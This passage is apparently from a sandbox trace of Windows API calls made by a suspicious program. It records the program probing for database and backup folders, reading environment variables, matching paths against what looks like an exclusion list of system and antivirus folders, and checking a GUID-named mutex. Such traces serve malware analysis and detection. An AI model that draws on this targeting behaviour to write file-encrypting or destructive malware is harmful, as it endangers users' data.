server\\\x18\x15") returned 21 [0056.618] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\Firebird", lpFindFileData=0x18e1c0 | out: lpFindFileData=0x18e1c0*(dwFileAttributes=0x7758b806, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="螬T䱠@뻜R企@\x18?T\x18;")) returned 0xffffffff [0056.618] GetLastError () returned 0x2 [0056.618] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\", cchLength=0x4a | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\enu-dsk\\") returned 0x4a [0056.619] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=9, lpWideCharStr=0x18d3c4, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0056.619] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\MSSQL.1", lpFindFileData=0x18e1c0 | out: lpFindFileData=0x18e1c0*(dwFileAttributes=0x7758b806, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="螬T䱠@셤R企@\x18?T\x18D")) returned 0xffffffff [0056.619] GetLastError () returned 0x2 [0056.619] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\", cchLength=0x4a | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\enu-dsk\\") returned 0x4a [0056.619] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=8, lpWideCharStr=0x18d3c4, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\\x10") returned 8 [0056.619] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e1c0 | out: lpFindFileData=0x18e1c0*(dwFileAttributes=0x7758b806, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="螬T䱠@뻜R企@\x18蜄T\x18j")) returned 0xffffffff [0056.619] GetLastError () returned 0x2 [0056.619] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\", cchLength=0x4a | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\enu-dsk\\") returned 0x4a [0056.619] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18d3c4, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\\x18\x1c") returned 37 [0056.619] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\Adobe", lpFindFileData=0x18e1c0 | out: lpFindFileData=0x18e1c0*(dwFileAttributes=0x7758b806, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="螬T䱠@╼U企@\x18?T\x18q")) returned 0xffffffff [0056.619] GetLastError () returned 0x2 [0056.619] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\", cchLength=0x4a | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\enu-dsk\\") returned 0x4a [0056.619] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=6, lpWideCharStr=0x18d3c4, cchWideChar=2047 | out: lpWideCharStr="adobe\\蜀T\x90") returned 6 [0056.619] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\Oracle", lpFindFileData=0x18e1c0 | out: lpFindFileData=0x18e1c0*(dwFileAttributes=0x7758b806, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="螬T䱠@삌R企@\x18?T\x18y")) returned 0xffffffff [0056.620] GetLastError () returned 0x2 [0056.620] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\", cchLength=0x4a | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\enu-dsk\\") returned 0x4a [0056.620] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=7, lpWideCharStr=0x18d3c4, cchWideChar=2047 | out: lpWideCharStr="oracle\\T\x10") returned 7 [0056.620] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\Archive", lpFindFileData=0x18e1c0 | out: lpFindFileData=0x18e1c0*(dwFileAttributes=0x7758b806, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="螬T䱠@셤R企@\x18?T\x18\x81")) returned 0xffffffff [0056.620] GetLastError () returned 0x2 [0056.620] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\", cchLength=0x4a | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\enu-dsk\\") returned 0x4a [0056.620] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=7, lpWideCharStr=0x18d3c4, cchWideChar=2047 | out: lpWideCharStr="archiveT\x10") returned 7 [0056.620] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\Backup", lpFindFileData=0x18e1c0 | out: lpFindFileData=0x18e1c0*(dwFileAttributes=0x7758b806, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="螬T䱠@╼U企@\x18?T\x18\x88")) returned 0xffffffff [0056.620] GetLastError () returned 0x2 [0056.620] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\", cchLength=0x4a | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\enu-dsk\\") returned 0x4a [0056.620] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=6, lpWideCharStr=0x18d3c4, cchWideChar=2047 | out: lpWideCharStr="backup?T\x10") returned 6 [0056.620] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\Reserv", lpFindFileData=0x18e1c0 | out: lpFindFileData=0x18e1c0*(dwFileAttributes=0x7758b806, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="螬T䱠@삌R企@\x18?T\x18\x8f")) returned 0xffffffff [0056.621] GetLastError () returned 0x2 [0056.621] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\", cchLength=0x4a | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\enu-dsk\\") returned 0x4a [0056.621] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=6, lpWideCharStr=0x18d3c4, cchWideChar=2047 | out: lpWideCharStr="reserv?T\x10") returned 6 [0056.621] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\Restore", lpFindFileData=0x18e1c0 | out: lpFindFileData=0x18e1c0*(dwFileAttributes=0x7758b806, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="螬T䱠@셤R企@\x18?T\x18\x97")) returned 0xffffffff [0056.621] GetLastError () returned 0x2 [0056.621] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\", cchLength=0x4a | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\enu-dsk\\") returned 0x4a [0056.621] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=7, lpWideCharStr=0x18d3c4, cchWideChar=2047 | out: lpWideCharStr="restoreT\x10") returned 7 [0056.621] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.621] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.621] GlobalUnlock (hMem=0x440004) returned 0 [0056.621] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.621] GlobalLock (hMem=0x44000c) returned 0x557b88 [0056.621] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.621] GlobalUnlock (hMem=0x440004) returned 0 [0056.621] GlobalHandle (pMem=0x557b88) returned 0x44000c [0056.621] GlobalUnlock (hMem=0x44000c) returned 0 [0056.621] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\", cchLength=0x4a | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\enu-dsk\\") returned 0x4a [0056.621] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18dfbc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0056.621] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18d3bc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0056.621] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\", cchLength=0x4a | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\enu-dsk\\") returned 0x4a [0056.621] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18dfbc, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0056.621] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18d3bc, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\\x18\x1c") returned 46 [0056.621] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\", cchLength=0x4a | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\enu-dsk\\") returned 0x4a [0056.622] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18dfbc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0056.622] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18d3bc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\\x18\x1c") returned 15 [0056.622] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\", cchLength=0x4a | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\enu-dsk\\") returned 0x4a [0056.622] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18dfbc, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0056.622] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=11, lpWideCharStr=0x18d3bc, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\\x18\x1c") returned 11 [0056.622] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.622] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.622] GlobalUnlock (hMem=0x44000c) returned 0 [0056.622] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.622] GlobalLock (hMem=0x440004) returned 0x557b88 [0056.622] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.622] GlobalUnlock (hMem=0x44000c) returned 0 [0056.622] GlobalHandle (pMem=0x557b88) returned 0x440004 [0056.622] GlobalUnlock (hMem=0x440004) returned 0 [0056.622] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\", cchLength=0x4a | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\enu-dsk\\") returned 0x4a [0056.622] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18d3c4, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\\x18\x1c") returned 15 [0056.622] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\", cchLength=0x4a | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\enu-dsk\\") returned 0x4a [0056.622] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=11, lpWideCharStr=0x18d3c4, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\\x18\x1c") returned 11 [0056.622] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\", cchLength=0x4a | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\enu-dsk\\") returned 0x4a [0056.622] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=9, lpWideCharStr=0x18d3c4, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\\x18\x1c") returned 9 [0056.622] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\", cchLength=0x4a | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\enu-dsk\\") returned 0x4a [0056.622] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18d3c4, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\\x18\x1c") returned 18 [0056.622] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\", cchLength=0x4a | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\enu-dsk\\") returned 0x4a [0056.622] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18d3c4, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\\x18\x1c") returned 28 [0056.623] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\", cchLength=0x4a | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\enu-dsk\\") returned 0x4a [0056.623] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=10, lpWideCharStr=0x18d3c4, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\\x18\x1c") returned 10 [0056.623] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\", cchLength=0x4a | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\enu-dsk\\") returned 0x4a [0056.623] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=8, lpWideCharStr=0x18d3c4, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\\x18\x1c") returned 8 [0056.623] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\", cchLength=0x4a | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\enu-dsk\\") returned 0x4a [0056.623] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=9, lpWideCharStr=0x18d3c4, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\\x18\x1c") returned 9 [0056.623] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\", cchLength=0x4a | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\enu-dsk\\") returned 0x4a [0056.623] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=13, lpWideCharStr=0x18d3c4, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\\x18\x1c") returned 13 [0056.623] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.623] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.623] GlobalUnlock (hMem=0x440004) returned 0 [0056.623] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.623] GlobalLock (hMem=0x44000c) returned 0x557b88 [0056.623] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.623] GlobalUnlock (hMem=0x440004) returned 0 [0056.623] GlobalHandle (pMem=0x557b88) returned 0x44000c [0056.623] GlobalUnlock (hMem=0x44000c) returned 0 [0056.623] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\*.*", lpFindFileData=0x18e4e4 | out: lpFindFileData=0x18e4e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e280 [0056.623] FindNextFileW (in: hFindFile=0x54e280, lpFindFileData=0x18e4e4 | out: lpFindFileData=0x18e4e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.623] FindNextFileW (in: hFindFile=0x54e280, lpFindFileData=0x18e4e4 | out: lpFindFileData=0x18e4e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0056.623] GetLastError () returned 0x12 [0056.623] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0056.624] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.624] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.624] GlobalUnlock (hMem=0x44000c) returned 0 [0056.624] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.624] GlobalLock (hMem=0x440004) returned 0x557b88 [0056.624] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.624] GlobalUnlock (hMem=0x44000c) returned 0 [0056.624] GlobalHandle (pMem=0x557b88) returned 0x440004 [0056.624] GlobalUnlock (hMem=0x440004) returned 0 [0056.624] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\*.*", lpFindFileData=0x18e4e4 | out: lpFindFileData=0x18e4e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e280 [0056.624] FileTimeToLocalFileTime (in: lpFileTime=0x18e4f8, lpLocalFileTime=0x18e408 | out: lpLocalFileTime=0x18e408) returned 1 [0056.624] FileTimeToDosDateTime (in: lpFileTime=0x18e408, lpFatDate=0x18e4c6, lpFatTime=0x18e4c4 | out: lpFatDate=0x18e4c6, lpFatTime=0x18e4c4) returned 1 [0056.624] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.624] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.624] GlobalUnlock (hMem=0x440004) returned 0 [0056.624] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.624] GlobalLock (hMem=0x44000c) returned 0x557b88 [0056.624] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.624] GlobalUnlock (hMem=0x440004) returned 0 [0056.624] GlobalHandle (pMem=0x557b88) returned 0x44000c [0056.624] GlobalUnlock (hMem=0x44000c) returned 0 [0056.624] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.624] FindNextFileW (in: hFindFile=0x54e280, lpFindFileData=0x18e4e4 | out: lpFindFileData=0x18e4e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.624] FileTimeToLocalFileTime (in: lpFileTime=0x18e4f8, lpLocalFileTime=0x18e404 | out: lpLocalFileTime=0x18e404) returned 1 [0056.624] FileTimeToDosDateTime (in: lpFileTime=0x18e404, lpFatDate=0x18e4c6, lpFatTime=0x18e4c4 | out: lpFatDate=0x18e4c6, lpFatTime=0x18e4c4) returned 1 [0056.624] GlobalLock (hMem=0x44000c) returned 0x556b80 [0056.624] GlobalHandle (pMem=0x556b80) returned 0x44000c [0056.625] GlobalUnlock (hMem=0x44000c) returned 0 [0056.625] GlobalLock (hMem=0x44000c) returned 0x556b80 [0056.625] GlobalLock (hMem=0x440004) returned 0x558b90 [0056.625] GlobalHandle (pMem=0x556b80) returned 0x44000c [0056.625] GlobalUnlock (hMem=0x44000c) returned 0 [0056.625] GlobalHandle (pMem=0x558b90) returned 0x440004 [0056.625] GlobalUnlock (hMem=0x440004) returned 0 [0056.625] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.625] FindNextFileW (in: hFindFile=0x54e280, lpFindFileData=0x18e4e4 | out: lpFindFileData=0x18e4e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0056.625] GetLastError () returned 0x12 [0056.625] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0056.625] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0056.625] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0056.625] GlobalLock (hMem=0x440004) returned 